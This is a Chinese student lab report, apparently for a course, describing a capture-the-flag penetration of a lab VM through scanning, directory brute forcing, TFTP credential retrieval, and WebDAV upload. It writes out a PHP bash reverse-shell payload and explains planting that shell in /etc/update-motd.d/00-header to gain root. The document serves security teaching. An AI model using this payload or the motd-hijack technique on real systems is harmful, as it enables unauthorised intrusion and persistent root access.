一、实验目的
(1)掌握远程控制的基本原理和技术实现;
(2)掌握使用MSFVENOM生成被控端的方法和远程控制工具MSF的使用;
(3)掌握权限提升的一般方法。
二、实验任务
(1)对目标靶机进行信息收集并分析研究可利用的漏洞;
(2)利用MSFVENOM工具生成被控端;
(3)上传文件反弹shell并利用 Metaspolit 对目标靶机进行渗透控制;
(4)提升目标靶机的操作权限。
三、实验环境
靶机地址:192.168.136.128
攻击机地址:192.168.136.130
- 实验过程和实验结果
查看kali地址,如图3.1
3.1 本机IP地址
利用nmap全网段扫描查看靶机地址,如图3.2
3.2 nmap全网段扫描查找靶机IP
查看靶机开放端口,如图3.3
3.3 查看靶机开放端口
对端口进行udp扫描,发现22/udp和80/udp关闭如图3.4
3.4 udp扫描
对22,80端口进行漏洞扫描,发现enum和csrf等漏洞,如图3.5
3.5漏洞扫描
使用gobuster进行目录爆破,-x 加后缀名rar,txt,sql,zip,发现有webdav和tips.txt如图3.6
3.6对靶机进行目录爆破
尝试访问tips.txt,如图3.7
3.7 tips.txt访问
发现creds.txt,可能密码在其里面,可通过tftp登录尝试找creds.txt,如图3.8
3.8得到creds.txt
打开creds.txt,发现内容为base64编码,解码后得到密码,如图3.9
3.9得到密码
尝试输入到192.168.136.128/webdav,登录成功,如图3.10
3.10登录成功页面
用davtest测试该页面能上传哪些文件后缀名的文件以及其对应权限,如图3.11
3.11 查找文件后缀
发现能执行php文件,可上传php类型的反弹shell,先编写一个shell2.php
<?php exec(“/bin/bash -c ‘bash -i >& /dev/tcp/192.168.136.128/4444 0>&1’”); ?>
通过cadaver客户端传到webdav中,如图3.12
3.12将shell传到webdav
通过监听4444端口,再次点击shell2.php,出发反弹shell,如图3.13
3.13 触发反弹shell
通过find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null查找一些有可写权限的文件,如图3.14
3.14 查找可写权限文件
查看user.passwd发现这是webdav凭证,而查看hell.sh发现是ssh的凭证,如图3.15
3.15 发现ssh凭证
解密后为chitragupt,可能为ssh的密码,但用户名是啥还不知道,查看/etc/passwd寻找,如图3.16,重点观察有shell环境的账户,bash为一种常见的shell类型
3.16 查找ssh账户
依次尝试,发现inferno为用户名,如图3.17
3.17登录ssh
查看账户有什么文件,观察到user.txt,打开发现第一个flag,如图3.18
3.18得到第一个flag
通过相同的方法查找可写文件,motd是登录lunix时显示的一段信息,如图3.19
3.19 查找可写文件
进入/etc/update-motd.d目录,发现00-header,header是lunix登录时的欢迎信息,如图3.20
3.20查看/etc/update-motd.d目录
可以在00-header中插入一段和之前相同的反弹shell代码,如图3.21
3.21插入反弹shell代码
监听4444端口,重新登录ssh,如图3.22
3.22 反弹shell得root权限
第二个flag在/root/root.txt中,如图3.23
3.23得第二个flag
- 实验总结
实验原理:首先用nmap扫描出靶机地址和开放的端口,用漏洞脚本扫描出csrf漏洞和enum漏洞,对靶机进行目录爆破,发现有webdav和tips.txt,访问tips.txt,发现关键文件creds.txt,
通过远程tftp登录查找creds.txt文件,得到base64编码,解密得到密码,查看webdav发现需要登录,输入用户名密码登录成功,通过davtest查看能执行什么剋性文件,发现能上传执行php文件,可上传php类型的反弹shell,设置监听端口,成功反弹shell,进入靶机,查找一些可读可写可执行的文件,查看user.passwd发现这是webdav凭证,而查看hell.sh发现是ssh的凭证,解密后获得密码,再从etc/passwd中找到用户名,通过ssh登录靶机,
进入/etc/update-motd.d目录,发现00-header,header是lunix登录时的欢迎信息,可以在00-header中插入一段和之前相同的反弹shell代码,监听4444端口,重新登录ssh,在某些文件中找到flag。
通过本次实验,首先学会漏洞扫描的方法,找到解题的关键枚举,这个实验中nmap -sU扫描虽然只有22,80端口开放,但事实并非如此,通过nmap --top-ports扫描,还可以发现支持tftp服务,这是靶机设置的一个坑,TFTP(Trivial File Transfer Protocol,简单文件传输协议)是TCP/IP协议族中的一个用来在客户机与服务器之间进行简单文件传输的协议,提供不复杂、开销不大的文件传输服务。端口号为69。可通过gobuster dir -w+字典 -u+ip -x +文件后缀,进行目录爆破,可查到一些文件WebDAV (Web-based Distributed Authoring and Versioning) 一种基于 HTTP 1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。为了方便用户使用,通常会提供给用户较大的文件权限,如上传、修改甚至是执行权限。Kali Linux提供了一款WebDAV服务漏洞利用工具DAVTest。该工具会自动检测权限,寻找可执行文件的权限。一旦发现,用户就可以上传内置的后门工具,对服务器进行控制。同时,该工具可以上传用户指定的文件,便于后期利用。cadaver支持文件上载,下载,屏幕显示,名称空间操作。可以用davtest查找能够上传到webdav的文件后缀,利用davtest上传文件,进而反弹shell,得到能进入webdav的权限。通过find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null,用于查找在根目录下(/)的所有可写文件(-writable),但是排除/proc/和/sys/和/var/目录以及空目录。这个问题的解决方案是使用find命令,这是一个在Linux和Unix系统中用于在目录树中查找文件的命令行工具。
实验中的错误:过于nmap扫描,最开始只找到了22,80端口,但通过最常见端口扫描发现还支持tftp服务;最开始不知道webdav是啥,通过查找才发现是一种特殊的服务,发现可用davtest进行检测权限;最开始以为打开的内容就是密码,但输入发现错误,最后才发现是特殊的编译方式需要进行解码;不知道将shell脚本写在什么地方,最后需要通过find找到特殊文件进行反弹;
调试心得:由于nmap欺骗导致一直没找到解题的突破口,需要在各种文件中获取有用的信息和知道文件的权限结构,还需要记住很多特殊的服务和脚本等
其他心得:在查找flag时要观察很多文件,重点观察特殊文件,需要大量的时间查找flag所在的文件